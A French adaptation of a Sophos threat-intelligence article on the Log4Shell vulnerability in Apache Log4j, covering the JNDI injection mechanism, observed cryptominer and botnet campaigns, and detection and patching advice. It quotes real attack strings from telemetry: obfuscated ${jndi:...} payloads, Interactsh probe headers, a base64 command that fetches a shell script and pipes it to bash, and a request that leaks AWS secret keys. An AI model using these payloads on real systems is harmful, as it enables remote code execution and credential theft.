Le 9 décembre, une grave vulnérabilité d’exécution de code à distance a été révélée dans Apache Log4J, un système de journalisation (logging) très couramment utilisé par les développeurs d’applications Web et serveur basées sur Java et d’autres langages de programmation. La vulnérabilité affecte un large éventail de services et d’applications sur les serveurs, la rendant ainsi extrêmement dangereuse et l’installation des dernières mises à jour pour ces applications serveur est urgente.
La vulnérabilité permet à tout attaquant d’injecter du texte dans des messages de log ou des paramètres de message de log au niveau des logs de serveur qui chargent du code à partir d’un serveur distant. Le serveur ciblé exécutera ensuite ce code via des appels à JNDI (Java Naming and Directory Interface). JNDI s’interface avec un certain nombre de services réseau, notamment le LDAP (Lightweight Directory Access Protocol), le DNS (Domain Name Service), les interfaces distantes de Java (RMI) et CORBA (Common Object Request Broker). Sophos a constaté des tentatives d’exploitation du LDAP, DNS et RMI, en utilisant une URL balisée vers ces services puis une redirection vers un serveur externe.
Sophos détecte déjà des activités de cryptominage malveillant tentant d’exploiter cette vulnérabilité, et il existe des signalements fiables provenant d’autres sources selon lesquels plusieurs botnets automatisés (tels que Mirai, Tsunami et Kinsing) auraient également commencé à l’exploiter. D’autres types d’attaques, et de charges virales, devraient suivre rapidement. Bien qu’il existe des mesures de sécurité que les opérateurs de serveur peuvent prendre pour mitiger cette vulnérabilité, la meilleure solution consiste à mettre à niveau vos systèmes vers la version corrigée, déjà publiée par Apache dans Log4j 2.15.0. Cependant, le déploiement d’une mise à niveau peut ne pas être si simple, surtout si les entreprises ne savent pas où la précédente version a été déployée en tant que composant (une liste des détections de malware associées, jusqu’à présent, à Log4J se trouve à la fin de cet article).
Des vulnérabilités d’injection JNDI critiques similaires ont été trouvées dans d’autres composants de serveur Java par le passé, notamment dans une implémentation IIOP (Internet Inter-ORB Protocol) du serveur WebLogic d’Oracle (CVE-2020-2551). Mais l’utilisation généralisée de Log4J dans les logiciels commerciaux et open source connectés à Internet (serveurs d’applications Web et mobiles, serveurs de messagerie, notamment le serveur de messagerie JAMES Apache basé sur Java) et les services cloud, en fait une vulnérabilité particulièrement difficile à suivre et à corriger. Les précédentes failles de Log4J étaient beaucoup moins graves.
Depuis le 9 décembre, Sophos a déjà détecté des centaines de milliers de tentatives d’exécution de code à distance à l’aide de cette vulnérabilité, et les recherches dans les logs menées par d’autres entreprises (notamment Cloudflare) suggèrent que cette vulnérabilité pourrait avoir été librement exploitée pendant des semaines avant son exposition publique. Les instances détectées par Sophos étaient principalement des analyses de vulnérabilité, des tests d’exploits et des tentatives d’installation de cryptomineurs. Nous avons également observé des tentatives d’extraction de données à partir de services, notamment des clés Amazon Web Services ainsi que d’autres données privées.
Comment fonctionne l’exploit Log4J ?
La faille de sécurité présente dans les versions antérieures de Log4J a été générée par une fonctionnalité appelée ‘message lookup substitution’. Lorsqu’elle était activée (ce qui était le cas par défaut avant la correction du bug), Log4j pouvait alors détecter les chaînes référençant les ressources JNDI dans les sources de configuration, les messages de log et les paramètres transmis par les applications. Étant donné que Log4J ne nettoie pas les URL transmises dans ces chaînes, un attaquant pourrait ainsi créer des requêtes malveillantes, vers des applications qui utilisent Log4J, contenant des chaînes de substitution de message dans des champs contenant une URL destinée à un serveur malveillant.
Dans le cas d’applications Web, la chaîne pourrait faire partie de n’importe quelle partie d’une communication HTTP qui serait enregistrée (logged), formatée comme une commande de substitution faisant référence au serveur malveillant via le format suivant : ${jndi:[protocol]://[remote serveur et adresse de code]}. Il existe diverses formes d’obfuscation utilisées pour empêcher la détection de l’analyse ou de l’exploitation, notamment l’utilisation de chaînes imbriquées pour invoquer l’interface JNDI (comme (${${::-j}${::-n}$ {::-d}${::-I}) ).
Lorsqu’elles sont transmises à Log4J, les commandes de recherche utilisant JNDI incitent Log4J à contacter un serveur (local ou distant) pour récupérer le code Java. Dans un scénario inoffensif, ce code aiderait à générer les données destinées à être enregistrées (logged). Mais l’essence même de cette vulnérabilité fait que ce même mécanisme permet l’exécution de code Java distant, malveillant et non vérifié.
Des iTools tels qu’Interactsh rendent cette tâche beaucoup trop facile, permettant ainsi aux attaquants d’émettre des requêtes avec des en-têtes HTTP qui sont “propagées” avec des chaînes malveillantes, conçues pour inciter l’application réceptrice à effectuer la substitution de message, de sorte que l’application déclenche alors la vulnérabilité et charge ou exécute le code à distance.
Vous trouverez ci-dessous une liste des en-têtes HTTP détectés dans une requête GET qui montre un attaquant en train d’utiliser Interactsh pour rechercher des serveurs vulnérables, en lançant une référence JNDI dans presque tous les éléments de la requête :
referer=${jndi:ldap://[redacted].interact.sh},
x-http-host-override=${jndi:ldap://[redacted].interact.sh},
true-client-ip=${jndi:ldap://[redacted].interact.sh},
x-forwarded-port=443,
x-client-ip=${jndi:ldap://[redacted].interact.sh},
cf-connecting_ip=${jndi:ldap://[redacted].interact.sh},
x-forwarded-host=${jndi:ldap://[redacted].interact.sh},
contact=${jndi:ldap://[redacted].interact.sh},
host=[redacted].com,
from=${jndi:ldap://[redacted].interact.sh},
cache-control=no-transform,
x-forwarded-proto=https,
accept-language=en,
client-ip=${jndi:ldap://[redacted].interact.sh},
x-forwarded-for=${jndi:ldap://[redacted].interact.sh},
x-originating-ip=${jndi:ldap://[redacted].interact.sh},
x-host=${jndi:ldap://[redacted].interact.sh},
forwarded=${jndi:ldap://[redacted].interact.sh},
accept=*/*,
x-real-ip=${jndi:ldap://[redacted].interact.sh},
Charges virales
La plupart des tentatives initiales que nous avons vues pour tirer parti de l’exploit Log4J étaient associées à des mineurs de cryptomonnaie. On peut mentionner, notamment, Kinsing, un botnet lié à des cryptomineurs, et utilisant diverses méthodes d’obfuscation :
GET /?x=${jndi:ldap://93[.]189[.]42.8:5557/Basic/Command/Base64/
KGN1cmwgLXMgOTMuMTg5LjQyLjgvbGguc2h8fHdnZXQgLXEgLU8tIDkzLjE4OS40Mi44L2xoLnNoKXxiYXNo}
HTTP/1.1" 200 3440 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}
://93[.]189.42.8:5557/Basic/Command/Base64/KGN1cmwgLXMgOTMuMTg5LjQyLjgvbGguc2h8fHdnZXQgL
XEgLU8tIDkzLjE4OS40Mi44L2xoLnNoKXxiYXNo}"
"${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://93[.]189.42.8:5557
/Basic/Command/Base64/KGN1cmwgLXMgOTMuMTg5LjQyLjgvbGguc2h8fHdnZXQgLXEgLU8tIDkzLjE4OS40M
i44L2xoLnNoKXxiYXNo}"
Le contenu de l’URL comprend une commande encodée en Base64 :
(curl -s 93.189.42.8/lh.sh||wget -q -O- 93.189.42.8/lh.sh)|bash
Sophos a également enregistré des tentatives pour révéler les clés d’accès AWS d’un hôte en utilisant la vulnérabilité Log4J et en déployant une autre technique d’obfuscation afin d’échapper à la détection des appels JNDI. Ces chaînes tentent d’obtenir que le système endpoint ciblé renvoie la variable d’environnement utilisée par les programmes qui interagissent avec les ressources AWS :
"GET /a1${${env:lsweqw:-j}ndi${env:lsweqw:-:}${env:lsweqw:-r}mi${env:lsweqw:-:}
//[MASKED_IP}/dupa123/MASKED_HOST:80/gp/${env:USER}/${env:AWS_ACCESS_KEY_ID}/
${env:AWS_SECRET_ACCESS_KEY}/dupa1234} HTTP/1.1" 302 455 "aaaaa1${${env:lsweqw:-j}
ndi${env:lsweqw:-:}${env:lsweqw:-r}mi${env:lsweqw:-:}
//1[MASKED_IP}:1099/dupa123/MASKED_HOST:80/gr/${env:USER}/${env:AWS_ACCESS_KEY_ID}/
${env:AWS_SECRET_ACCESS_KEY}/dupa1234}" "aaaaa1${${env:lsweqw:-j}ndi${env:lsweqw:-:}
${env:lsweqw:-r}mi${env:lsweqw:-:}//[MASKED_IP]/dupa123/MASKED_HOST:80/ga/${env:USER}/
${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY}/dupa1234}"
Détection et correction
Les SophosLabs ont déployé un certain nombre de règles IPS pour scruter le trafic tentant d’exploiter la vulnérabilité Log4J. Moins d’un jour après sa publication, nous avons constaté une brève augmentation du trafic la ciblant. Au cours du week-end, il a commencé à augmenter brusquement, le pic le plus important ayant eu lieu samedi soir et dimanche matin (UTC).
La grande majorité de ce trafic (environ 90 %) utilisait le protocole LDAP comme cible des exploits ; des sous-ensembles plus petits utilisaient DNS et RMI. Une partie de ce trafic, après examen, peut avoir été généré par les analyses internes des vulnérabilités menées par les entreprises, mais une grande partie de celui-ci semblait provenir de tests mis en œuvre par des attaquants à la recherche de systèmes exploitables. Un échantillon de requêtes collectées à partir de la télémétrie a montré que beaucoup utilisaient Interactsh, via diverses techniques d’obfuscation pour échapper aux règles, à la recherche de “JNDI”, telles que ces tentatives d’utilisation de l’appel RMI :
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://[identifier].interact.sh/poc}
${${lower:jndi}:${lower:rmi}://[identifier].interact.sh/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}:
//[identifier].interact.sh/poc}
Le traitement de la vulnérabilité Log4J nécessite une défense en profondeur. Les entreprises doivent déployer des règles pour bloquer le trafic lié à une éventuelle exploitation au niveau de tous les services Internet (Sophos IPS bloque actuellement le trafic correspondant aux signatures d’exploitation Log4J connues). Mais la protection à long terme nécessitera l’identification et la mise à jour des instances de Log4J ou la mitigation du problème en modifiant les paramètres de Log4J (soit via des fichiers de configuration XML ou YAML à la racine des paramètres du chemin de Log4J, soit par programmation). Cette mesure peut nécessiter des modifications de code dans les produits où Log4J est intégré.
Les SophosLabs souhaitent remercier Fraser Howard, Hardik Shah, Gabor Szappanos et Mukesh Kumar pour avoir contribué à cet article.
Détections Sophos des malwares utilisant Log4J
Troj/JavaDl-AAN
Troj/Java-AIN
Troj/BatDl-GR
Mal/JavaKC-B
XMRig Miner (PUA)
Troj/Bckdr-RYB
Troj/PSDl-LR
Mal/ShellDl-A
Linux/DDoS-DT
Linux/Miner-ADG
Linux/DDoS-DS
Linux/Miner-ZS
Linux/Miner-WU
Linux/Rootkt-M
Billet inspiré de Log4Shell Hell: anatomy of an exploit outbreak, sur le Blog Sophos.
